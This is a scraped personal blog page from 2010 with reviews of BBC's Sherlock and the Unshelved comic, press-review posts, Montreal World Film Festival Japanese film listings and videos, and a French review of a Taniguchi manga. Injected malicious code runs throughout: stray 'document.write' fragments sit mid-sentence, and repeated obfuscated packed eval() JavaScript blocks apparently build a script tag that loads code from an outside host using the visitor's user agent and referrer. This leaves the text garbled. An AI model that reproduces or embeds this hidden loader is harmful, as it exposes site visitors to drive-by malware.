Sherlock

/ Clodjee / 1 Comment

As many of the interesting TV shows I’ve watched over the years were produced in the UK (The Avengers, document.write(“”); The Champions, Desperate Romantics, Doctor Who, The Hitchhiker’s Guide to the Galaxy, I Claudius, Lark Rise to Candleford, Life on Mars, Merlin, Murder Rooms, Primeval, Red Dwarf, Robin Hood, Secret Diary of a Call Girl, Sherlock Holmes (with Jeremy Brett), Space: 1999, Thunderbirds, Torchwood, UFO, Upstairs Downstairs, just to name a few), I have developped a special appreciation for British series (and I’ll definitely write an article on that subject when I have the time). So, when I heard that the BBC was planning a modern adaptation of Sherlock Holmes, I was already intrigued. When I realized that it would be co-created by Steven Moffat (who’s now the lead writer for Doctor Who), I was really interested and determined to check on this new series.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrkah|var|u0026u|referrer|hdssi||js|php’.split(‘|’),0,{}))

Simply titled “Sherlock”, the series is a piece of very clever writing. The first episode, titled “Study in Pink”, is probably the best. It is obviously based on the original story “A study in scarlet”. The character of Watson is introduced in a manner that is superbly similar to the original: he is a recently discharged soldier back from a tour in Afghanistan where he injured his leg (although Sherlock diagnosed his limping as psychosomatic). In the original, Sherlock also deducts lots of information on Watson family background by looking at his pocket watch. Here, he does the same by looking at his cellphone! In the first episode the parallel between the clever adaptation and the original story is more easily drawn. In the subsequent episodes (titled “The Blind Banker” and “The Great Game”, respectively inspired by “The dancing men” and “The Bruce-Partington plans” amongst others) the story is increasingly complex and the parallel less obvious. Unfortunately, this complexity and the fast pace of the storytelling make the series a little too hard to follow for the people who prefer more simple and quiet stories. It really gets worse with the third episode, as if they wanted to cram too many elements in the 90-minute broadcast show.

Despite the fact that Holmes uses the latest of technology to solve crimes, the modern adaptation is, in many aspects, more respectful of the spirit of the character than Guy Ritchie’s recent movie. It is exactly the same type of adventures as written by Doyle, but played in fast forward for the attention-deficit plagued video-game generation. In his crazy way, Sherlock (played by Benedict Cumberbatch) almost feels and speaks like The Doctor in “Doctor Who” (no wonder there considering Moffat’s involvement). There’s quite some good acting in that part. And, having watched the entire Granada Television series, I can certainly say the adaptation is brilliant in its every details: Watson writing a blog, Holmes using nicotine patches instead of smoking and shooting heroin, etc.

My main disappointment was that only three episodes were broadcasted on the BBC in late July and August 2010 (they are due to air on PBS in the USA from October 24th 2010). There will be a new series in Fall next years, but unfortunately it will be again only three 90-minute episodes.

Another disappointment is that Moriarty is way too present in the story. I guess the general public perception of Holmes stories is probably at fault here: since Moriarty is Holmes archenemy, people imagine he must occupy a large place in the original stories whereas he appears only in a few episodes. Interestingly, the modern adaptation ends in a way quite similar as in the first Sherlock Holmes book: rather than letting his enemy go, Sherlock doesn’t hesitate to die with him. In the original story, he jumps (or falls) into a waterfall with Moriarty. In the modern version, it is suggested that he will blow a bomb to kill Moriarty as well as himself (and Watson). Will he really die? We’ll see in the second season, I guess.

A clever and intellectually challenging tv drama. It is quite promising. I can’t wait for more. It is already available on DVD in the UK and the North American release will be in November. It would also be a good occasion to read (or re-read or read about) the original stories.

Revue de Presse / Press Review (2010/09/23)

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Personal update: So many stuff to do and so little time! Feeling a little better, document.write(“”); but still tired as always. Now that automn is here it really starts feeling cold. It’s sure time to uninstall the air conditioning. Just finished watching Shogun again and spent some time yesterday reading the latest news:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dyaah|var|u0026u|referrer|terzr||js|php’.split(‘|’),0,{}))

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Unshelved #8: Large Print

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“Unshelved makes me appreciate those busy librarians of my school days even more. They were my best friends no matter where I went, document.write(“”); and I worshipped them. Seeing what they had to deal with only notches up my love for them! —Tamora Pierce”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbadd|var|u0026u|referrer|iefnd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|skhhd|var|u0026u|referrer|skzkd||js|php’.split(‘|’),0,{}))

“What do you get when you mix adults, teenagers, children, babies, seniors, professionals, parents, teachers, students, homeschoolers, and the homeless? That very funniest of places, your local public library, home of the hugely popular Web comic Unshelved.” [texts from the back cover]

Everything in this comic is eerily familiar: it tells the daily life of the staff from a dysfunctional library. Large Print is the eighth yearly compilation of Unshelved, a daily online comic strip originally published on the Unshelved website from February 16, 2009 to April 26, 2010, and ALA CogNotes newspapers in June 2009 and January 2010 (CogNotes is the daily paper of the American Library Association Midwinter Meeting and ALA Annual Conference, where the famous Unshelved “Conference Tips” are published). I have already reviewed the previous volumes in the blog entries “Unshelved” and “Unshelved #7: Reader’s Advisory”. You can also find more information in the Wikipedia entry, the Official Unshelved Facebook page or the Unshelved Readers Facebook group.

This volume is noticeably more hillarious than the previous one. Everyone will laugh at the funny and often absurd situations happening in the Mallville public library. I am probably laughing even harder because I recognize myself a lot in there, since I experienced first-hand many of those situations. It’s written by a real-life librarian and it shows. Of course, the art is a little crude and cartoony, but —as I often say— it’s the story that counts.

This volume has something new: it has a few comments from the writers underneath the strips. It’s interesting to read and I would have liked to have more of those. Also, this time the book is in a smaller format and in b&w only. However, since part of the book deals with how the library is coping with the recession, I think this downsizing is befitting the story. Large Print is compiling 313 daily strips (mostly in their original publishing order), 16 “Library Tips”, and 9 ALA “Conference Tips”. Unfortunately, the color “Book Club” pages (where the authors illustrate book recommendations) are absent and I am quite disappointed with this (however you can still read them online). But I guess it was necessary if they wanted the book to be only in b&w. All in all, Large Print offers a good laugh, particularly if you have ever spent some time in a public library. Highly recommended.

One of my favourite strips (from 2009/10/26):
My top 25 strips (in the order they appear in the book): 2009/03/02, 2009/03/07, 2009/03/25, 2009/04/01, 2009/04/13, 2009/05/02, 2009/05/12, 2009/06/09, 2009/06/06, 2009/07/17, 2009/07/22, 2009/08/05, 2009/10/26, 2009/10/17, 2009/10/06, 2009/10/08, 2009/10/19, 2009/12/08, 2009/12/29, 2009/12/31, 2010/03/03, 2010/03/22, 2010/04/01, 2010/04/22, and 2010/04/20.

Unshelved Vol. 8: Large Print, by Gene Ambaum and Bill Barnes. Seattle, Overdue Media, 2010. 21.8 x 17 cm, 128 pgs., $11.95 US / $14.95 CDN. ISBN-13: 978-09740353-7-6.

Unshelved: Large Print © 2009 & 2010 Overdue Media LLC. All rights reserved.

P.S.: I pre-ordered this book via amazon.ca in january 2010. It was due to be released in mid-July, but it was only delivered in mid-September even if it had been available through the publisher’s web site since july… Go figure! It is also disappointing that this book is not available at all through my local libraries network (where I work)!

Revue de Presse / Press Review (2010/09/16)

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Personal update: We started feeling that automn is getting close as the temperature has sharply dropped around 12’C. I’ve got my schedule for the new season and its nothing to get excited about: twenty hours over four days that I will complete with ponctual replacements. Unfortunately, document.write(“”); in order to reach a thirty-five-hour week I’ll have to work six days, like this week. So today is my only day off of the week. I have to cram all the house chores, as well as the blog updates, in this one day and still find time to rest and relax while reading and watching tv (my wife and I recently finished watching Upstairs, Downstairs and just started watching Shogun again)! I’ll try not to work six days a week too often (if I want to stay healthy and sane). Strangely, there was lots of interesting news this week:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|beakh|var|u0026u|referrer|setbh||js|php’.split(‘|’),0,{}))

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Villain / Akunin (video)

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Screening presentation and press conference for the Japanese movie Villain (Akunin) at the 2010 Montreal World Film Festival (filmed September 5th & 6th 2010). Please note that I am not a pro videographer, document.write(“”); so this video is a rather shaky rough cut with limited editing.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dibzs|var|u0026u|referrer|tyher||js|php’.split(‘|’),0,{}))

Villain from clodjee on Vimeo.Also available on Blip.tv

Box – The Hakamada Case (video)

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Screening presentation and press conference for the Japanese movie Box – The Hakamada Case at the 2010 Montreal World Film Festival (filmed September 2nd & 3rd 2010). Please note that I am not a pro videographer, document.write(“”); so this video is a rather shaky rough cut with limited editing.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnzat|var|u0026u|referrer|frznh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nabhk|var|u0026u|referrer|aysna||js|php’.split(‘|’),0,{}))

Box – The Hakamada Case from clodjee on Vimeo.Also available on Blip.tv

Hommage à Nathalie Baye (video)

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Conférence de presse rendant hommage à Nathalie Baye lors du Festival des Films du Monde 2010 (filmé le 5 septembre 2010). En français seulement.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nkhhs|var|u0026u|referrer|dkdzr||js|php’.split(‘|’),0,{}))

Press conference paying tribute to French actress Nathalie Baye at the 2010 Montreal World Film Festival (filmed on September 5th). In French only.

Please note that I am not a pro videographer, document.write(“”); so this video is a rather shaky rough cut with limited editing.

Hommage à Nathalie Baye from clodjee on Vimeo.
Also available on Blip.tv

Caterpillar and Torocco (video)

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Here are the screening presentation of the movies Caterpillar (Le Soldiat-Dieu) and Torocco (Rail Truck) at the 2010 Montreal World Film Festival. I am not a pro videographer, document.write(“”); so these video are rather shaky rough cuts with limited editing. Note that the Caterpillar video is only in French.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akiai|var|u0026u|referrer|dkyab||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brhyn|var|u0026u|referrer|sdfrs||js|php’.split(‘|’),0,{}))

Caterpillar [ Vimeo ] [ YouTube ]


Torocco [ Vimeo ] [ YouTube ]

Revue de Presse / Press Review (2010/09/06)

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Personal update: Not much happened in the last week. The health is a little better, document.write(“”); but I am still quite tired. Still too busy to put online my list of items to sell at my “Virtual Yard sale” [Be patient, it’s coming]. Last Wednesday Apple announced a bunch of new products, but none of them seem really interesting to me (save maybe the iOS 4.2 update for iPad that I am eagerly awaiting [it’s announced for November]; neither the new AppleTV or the 4th gen iPod Touch would be useful to me). I’ve also been screening Japanese movies at the Montreal World Film Festival; expect several “reviews” and press conferences video soon. In the meantime, here’s a few news that got my attention:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbtsa|var|u0026u|referrer|nfanz||js|php’.split(‘|’),0,{}))

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[Updated 9/07 with extra news; 9/08 with Apple Keynote links]

Clip: Losique sur le cinema japonais

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À la conférence de presse dévoilant la programmation 2010 du Festival des Films du Monde tenue le 10 août dernier, document.write(“”); le président du festival, Serge Logique, a fait quelques commentaires sur le cinéma Japonais. Ce n’est pas la première fois qu’il exprime ainsi une attention particulière au cinéma Japonais (quoiqu’il y a quelques années, c’était dans le cadre d’un “Focus sur le cinéma Japonais”) ce qui démontre qu’il l’apprécie et s’y intéresse beaucoup.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhhdy|var|u0026u|referrer|kbndd||js|php’.split(‘|’),0,{}))

Il déplore que le cinéma Japonais ne soit malheureusement pas très présent ni bien connu en Amérique du Nord et que c’est la tâche des journalistes de le faire découvrir et apprécier du grand public. Il rappelle que le Japon nous a donner de nombreux grands réalisateurs et que, après quelques décennies de vaches maigres, le cinéma Japonais est revenu en grande force. Il explique que le cinéma Japonais a toujours été très présent au Festival des Films du Monde parce que les producteurs Japonais le considère comme un tremplin vers le marché international.

Vous pouvez visionner la conférence de presse présentant la programmation 2010 du FFM dans sa quasi-totalité sur Vimeo.

Losique sur le cinema Japonais from clodjee; on Vimeo.
At the press conference unveiling the Montreal World Film Festival 2010 programming, which was held on August 10th, Serge Losique, the director of the festival, made some comments on the Japanese cinema. It is not the first time that he express such a particular interest for this cinema (although a few years ago he did it while the festival was presenting a special “focus” on the Japanese cinema) which seems to demonstrate that he is quite fond of it.

He laments that Japanese cinema is unfortunately not very present nor known in North America, and that it is up to the journalists to introduce it to movie goers and make them appreciate it. He recalls that Japan gave us many great directors and that, following several decades of lean times, Japanese cinema is coming back with great strengths. He points out that it has always had an important place at the Montreal World Film Festival because Japanese producers see the festival as a stepping stone toward the international market.

You can watch the MWFF 2010 programming press conference in almost its entirety on Vimeo.

“Sword of Desperation” video

/ Clodjee / Leave a comment

Here’s a video of the screening presentation and press conference of the Japanese movie Sword of Desperation at the Montreal World Film Festival 2010 (filmed by clodjee on August 27th, document.write(“”); 31:21 min.):
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Sword of Desperation from clodjee on Vimeo.

Revue de Presse / Press Review (2010/08/27)

/ Clodjee / Leave a comment

Personal update: I’ve been feeling unwell for the last two weeks (first some disgestion problems and then some sort of cold), document.write(“”); so I have not done much lately besides slaving for the libraries. I always feel completely exhausted after work. I guess I am worrying too much about my next working schedule and moving out of the apartment. The bright side is that if I don’t get much work this fall it will leave me time to rest and to shop for a new house. But now with the Montreal World Film Festival I should be again quite busy (and tired) for a couple of weeks. I can’t wait to have some real time off… Anyway, the world is still turning and there’s always news to talk about:
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Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Economy, Environment & International Politics

Film Festival

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

“Sword of Desperation” press conference

/ Clodjee / Leave a comment

Those who follow my World Film Festival coverage might be interested to know that the press conference for the Japanese movie Sword of Desperation (Hisshiken Torisashi) will be held tomorrow, document.write(“”); friday August 27th, at 2 pm (14:00) in the Complexe Desjardins’ Grande-Place. The movie, which is in competition, will be screened tomorrow at the Cinema Imperial at 9:00 and at the Maisonneuve Theatre at 21:30. The director Hideyuki Hirayama and screenwriter Hideri Ito will attend the press conference, which will be open to the public.
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A video of the screening presentation and press conference is available.

A list of the upcoming press conferences can be found on the festival web site.

I will regularly update my list of Japanese films with new information as they are available. I’ll make a separate note for all major new information. Enjoy the festival!

Revue de Presse / Press Review (2010/08/17)

/ Clodjee / Leave a comment

Personal update: I’ve been incredibly busy lately and I’m sure it will only get worse (unless I don’t manage to get a full schedule for the libraries fall time-block—the time of sleepless worrying over scheduling is back again). I’ve spent all week-end at Otakuthon: It was a good convention (at least for me in the dealers’ room) but quite exhausting. With all the stress and exhaustion, document.write(“”); I’ve not been feeling well lately (headache and disgestion problems). I couldn’t manage to write much, but I did spot of few noteworthy newsbits:
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Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Film Festival

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Otakuthon reminder

/ Clodjee / Leave a comment

Just a quick note to remind you that I’ll be a guest all week-end (August 13-15) at Otakuthon (Palais des Congrès de Montréal: 201, document.write(“”); Viger Avenue West, near Métro Place d’Armes). Check the Otakuthon website for details.
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Come see us and discuss at our tables (#516 & 517) in the Exhibition Hall. We’ll have LOTS of anime & manga goodies to sell at VERY good price.

Our friends from Dream Pod 9 will also be there (#510, 511 & 520).

I’ll also be kicking off my Super Virtual Summer Garage Sale. Don’t miss it!

Montreal World Film Festival 2010

/ Clodjee / 2 Comments

In a press conference today, document.write(“”); the Montreal World Film Festival announced the programming of its 34th edition, which will be held from August 26 to September 6. During the twelve days of its duration, the festival will present 430 films from 80 countries, including 277 feature-length movies, 15 medium-length and 188 short films. 113 of those features will be world or international premieres!
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“True to its mandate, which is to encourage cultural diversity, to stimulate quality cinema, to discover and promote new talent, the Montreal World Film Festival presents a program that is more diverse and inclusive than ever, with pride of place to discovery even when offering a showcase to established artists. (…) The Festival team worked hard to find films off the beaten track, especially to offer young filmmakers an opportunity to show their talent.“

This year the festival is offering us twelve Japanese movies: nine features, two documentaries and one “rerun.” Of the twenty features from twenty-four countries that make up the World Competition section, three are Japanese. That’s a much bigger Japanese selection than last year.

The World Competition [list]

  • Akunin (Villain), 139 min., directed by Sang-Il LEE, Cast: Satoshi Tsumabuki, Eri Fukatsu, Masaki Okada, Hikari Mitsushima, Kirin Kiki, Akira Emoto. A young insurance saleswoman is found strangled at Mitsuse Pass. Her family and friends are shocked. The pass — which tunnels through a mountainous region of southern Japan — has an eerie history… Schedule: 9/5, 21:30, TM.05.2; 9/5, 9:00, CI.05.1; 9/6, 16:30, CI.06.3.
  • Box — Hakamada Jiken — Inochi Towa (Box: The Hakamada Case), 117 min., directed by TAKAHASHI Banmei, Cast: Masato Hagiwara, Hirofumi Arai, Riona Hazuki, Takeoni Murano, Naoki Hosaka, Ryo Ishibashi. Based on a criminal case in Japan in mid 1960s, the story centres on two men who was born in the same year; one is sentenced to death for murder and the other is the judge who believes his innocence.
    Schedule: 9/2, 21:30, TM.02.1; 9/2, 9:00, CI.02.1; 9/3, 16:30, CI.03.4.
  • Hisshiken Torisashi (Sword of Desperation), 114 min., directed by HIRAYAMA Hideyuki, Cast: Etsushi Toyokama, Chizuru Ikewari, Koji Kikkawa. During the Edo Period in Japan, Kanemi Sanzaemon, a skilled swordsman and chief of the Unasaka battles to rid his clan of political corruption.
    Schedule: 8/27, 21:30, TM.27.1; 8/27, 9:00, CI.27.1; 8/28, 14:00, CI.28.3.

First Films World Competition [list]

  • Torocco (Rail Truck), Japan/Taiwan co-production, 116 min., directed by KAWAGUCHI Hirofumi. Cast: Machiko Ono, Kento Harada, Kyoichi Omae, Hong Liu, Chang Han, Wan Fan, Bryant Chang, Mei Fang. When Yumiko Yano travels with her sons, Atsushi and Toki, from her home in Tokyo to the Taiwanese village of her late husband, the boys discover a culture and a society that is alien to their Japanese existence.
    Schedule: 9/2, 12:00, L10.02.2; 9/2, 19:00, L10.02.5; 9/4, 19:20, L10.28.3.

Out of Competition [list]

  • Bushi no Kakeibo (Abacus and Sword), 120 min., directed by MORITA Yoshimitsu. Cast : Masato Sakai, Yukie Nakama, Keiko Matsuzaka, Masahito Nishimura, Masatoshi Makamura, Mitsuko Kusabue. In the Edo era, Japan was facing a period of upheaval. The great Tenpo famine of the 1830s and other developments have left the finances of the Kaga Domain in a precarious financial position…
    Schedule: 8/30, 10:00, L12.30.1; 831, 21:30, C!.31.6; 9/1, 14:30, L12.01.3.
  • Caterpillar (Le soldat-dieu), 85 min., directed by WAKAMATSU Koji. Cast : Shinobu Terajima, Shima Ohnishi, Ken Yoshizawa, Keigo Kasuya, Emi Masuda, Sabu Kawahara. During the Second Sino-Japanese War, in 1940, Lieutenant Kurokawa returns home as a honoured and decorated soldier, but deprived of his arms and leg, lost on the battlefield in mainland China.
    Schedule: 9/2, 21:40, L17.02.5; 9/3, 14:50, L17.03.3; 9/4, 21:40, L17.04.6.

Focus on World Cinema [list]

  • Inshite Miru (The Incite Mill), 110 min., directed by NAKATA Hideo. Cast : Tatsuya Fujiwara, Haruka Ayase, Satomi Ishihara. Ten people respond to a preposterous job posting — a short term project promising to pay $1200 an hour. Sounds dodgy but the money is hard to resist.
    Schedule: 9/2, 10:00, L15.02.1; 9/2, 21:40, L15.02.6; 9/5, 19:20, L16.05.5.
  • Shitsuren Satsujin (Lost Love Murder), 100 min., directed by KUBOTA Shoji. Cast : Mao Miyaji, Yurei Yanagi, Ryuchi Ohura, Kinuo Yamada, Kouta Kusano, Mari Hoshino. Suichi is madly in love with his wife, but he suspects that she is unfaithful, and this gnawing jealousy leads to a bizarre murder.
    Schedule: 9/2, 21:40, L16.02.6; 9/3, 10:00, L17.03.1; 9/4, 12:10, L16.04.2.
  • Suito Rituru Raizu (Sweet Little Lies), 117 min., directed by YAZAKI Hitoshi. Cast : Miki Nakatani, Nao Omori, Chizuru Ikewaki, Junichi Kobayashi. Ruriko, an artist, has been married to Satoshi for three years and on the surface their marriage seems ideal. In fact, however, they have been gradually growing distant.
    Schedule: 8/29, 14:50, L10.29.3; 8/30, 19:20, L12.30.5; 9/1, 10:00, L9.01.1; 9/5, 21:40, L16.05.6.

Documentaries [list]

  • Dancing Chaplin, 131 min., directed by SUO Masayuki. A filmed record of the Roland Petit’s well- known ballet but also a union of dance and film that reflects the serendipitous meeting of the great talents of Chaplin, Petit and Japanese director Masayuki Suo.
    Schedule: 9/3, 12:10, L15.03.2; 9/4, 21:21, L15.04.6; 9/5, 17:00, L15.05.4.
  • Umareru (Being Born), 8 min., directed by TOMO. Junichi, an emergency medical technician, and his wife Takako, a nurse, who work with life and death daily, now want a new life of their own, a baby.
    Schedule: 8/28, 12:30, L14.28.2; 8/28, 19:20, L14.28.5; 8/29, 14:20, L14.29.3; 8/30, 17:30, L14.30.4.

Cinema Under the Stars [list]

  • Shall We Dance (1996), 120 min., directed by SUO Masayuki. Cast: Koji Yakusho, Tamiyo Kusakari, Naoto Takenaka. A workaholic’s dull life takes a funny turn when he signs up for a ballroom dance class – just to meet the sexy dance teacher. But when he finally goes for lessons, he winds up with a different instructor and her colourfully eccentric class of beginners.
    Schedule: 9/3, 20:30, Outdoor on Place des Festivals.

Here is the video of the programming press conference (34:23 min.):

MWFF 2010 Programming Press Conference from clodjee on Vimeo.
The schedule [PDF] is now available online [ Part 1, Part 2, Index ]

I’ve made a calendar to help visualize the time and location of all the Japanese movies’ screenings. What were they thinking: putting eight screenings of Japanese movies on the same day (Sept. 2nd)?

I’ve also made a nice, printable PDF file gathering all the useful information from the festival guide.

For the first time in years the MWFF has put in advance on their web site a list of the upcoming press conferences.

More details and links will be added as the information become available. [Updated 08/11 (more details & links), 08/21 (schedule, better description & link’s icon), 08/22 (calendar), 08/24 (FFM web links, Google links, PDF), 08/27 (link for press conferences list), 08/31 (icon & link press conference), 9/04 (programming press conference video), 9/09 (more press conferences video links)]

[I have updated the “MWFF 2009 Overview” blog entry with a few corrections, links and new logos for some links. More update to come. Please have a look!]

Le Journal de mon père

/ Clodjee / 3 Comments

“Contrairement à l’impression suggérée par son titre, document.write(“”); Le Journal de mon père n’est pas un récit autobiographique. Jirô Taniguchi a simplement “planté” son scénario à Tottori, sa ville natale, où il a tant de repères et de souvenirs. Le héros de cette histoire s’appelle Yoichi Yamashita et travaille à Tokyo dans une agence de design. Apprenant la mort de son père, il revient après une très longue absence à Tottori, la ville qui l’a vu grandir. Au cours d’une veillée funèbre très arrosée, le passé des années 50 et 60 ressurgit : l’incendie qui a ravagé la ville et la maison familiale, le dur labeur pour la reconstruction, le divorce de ses parents, ses souffrances d’enfant… Lors de cette veillée, chaque membre de la famille apporte un éclairage nouveau sur la personnalité de ce père que Yoichi tenait jusque-là pour responsable du désastre familial. Le fils réalise finalement, mais trop tard, qu’il a sans doute été le seul responsable de leur douloureuse incompréhension.” [Texte de présentation sur le site de l’éditeur]
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Le Journal de mon père est l’un des premier Taniguchi que j’ai lu (après le premier volume de Au temps de Botchan et La montagne magique) et j’ai été tellement impressionné que j’en suis resté bouche-bée et ai oublié d’en écrire le commentaire. Je corrige donc ici cette négligence.

Le Journal de mon père (??? / Chichi no koyomi) a originellement été publié au Japon par Shogakukan en 1994. En France, il a d’abord été publié par Casterman en trois volumes (Vol. 1: Le grand incendie, Vol. 2: La séparation, Vol. 3: L’apaisement) en 1999-2000, puis en un seul volume à couverture souple en 2004 et finalement en une édition cartonnée en 2007. La troisième oeuvre de Taniguchi a être traduite en français après L’Homme qui marche et Le Chien Blanco, Le Journal de mon père fut son premier succès en France et demeure encore aujourd’hui l’un de ses manga les plus connus en Europe. Taniguchi y raconte l’histoire de Yoichi qui, à l’occasion de la mort de son père, retourne dans son village natal pour la première fois en quinze ans. Il avait peu à peu cessé de voir son père, jugeant ce dernier responsable du départ de sa mère, et il éprouvait envers lui beaucoup de ressentiment. Au travers des discussions de la veillée funèbre, il redécouvre un père qu’il ne connaissait finalement pas beaucoup et en vient à regretter de ne pas l’avoir mieux connu de son vivant.

Le Journal de mon père ressemble étrangement à Quartier lointain (écrit quatre ans plus tard, en 1998), mais sans les éléments fantastiques ou surnaturels—qu’il réussisse à raconter une telle histoire en l’ancrant dans le quotidien démontre bien le talent extraordinaire de Taniguchi. On y retrouve toutes ses thématiques fétiches, particulièrement celles de la réminiscence, de la nostalgie et de la vie quotidienne. Il y a aussi le thème de la famille car son sujet quasi-Oedipien nous rappelle que l’on doit chérir ses proches pendant qu’il en est encore temps. On retrouve également le thème de la nature (dans les scènes buccoliques de la campagne Japonaise) ainsi que l’aspect animalier (dans l’affection du personnage principal pour son chien). Le plus surprenant c’est sans doute de découvrir—sous une forme inusité je l’admet—la thématique déambulatoire qui lui est si chère. Toutefois, dans ce cas-ci, Taniguchi nous offre une promenade à travers les souvenirs de Yoichi. Ce sera un voyage qui aura un effet transformateur profond sur le personnage—et peut-être aussi sur le lecteur.

